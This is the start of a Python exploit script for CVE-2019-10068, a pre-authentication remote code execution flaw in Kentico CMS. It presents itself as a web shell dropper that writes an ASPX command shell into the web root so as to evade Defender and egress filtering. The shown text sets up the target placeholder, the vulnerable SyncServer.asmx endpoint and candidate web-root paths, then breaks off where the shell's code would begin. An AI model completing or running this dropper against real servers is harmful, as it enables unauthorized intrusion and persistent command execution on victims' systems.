#!/usr/bin/env python3 """ CVE-2019-10068 Kentico CMS Pre-Auth RCE — ASPX Web Shell Dropper Bypasses Defender/egress filtering by writing ASPX to web root (no binary on disk). """ import subprocess, sys, ssl, urllib.request, urllib.parse, base64 import tempfile, os, time, textwrap TARGET = 'ADD YOUR TARGET URL HERE' ENDPOINT = '/CMSPages/Staging/SyncServer.asmx' NAMESPACE = 'http://localhost/SyncWebService/SyncServer' # Possible App Service web root candidates (tried in order) WEB_ROOTS = [ r'C:\home\site\wwwroot', r'D:\home\site\wwwroot', r'C:\inetpub\wwwroot', r'C:\inetpub\wwwroot\CMS', r'C:\Program Files\Kentico', ] SHELL_NAME = 'x.aspx' # Minimal ASPX shell — runs cmd, returns output, no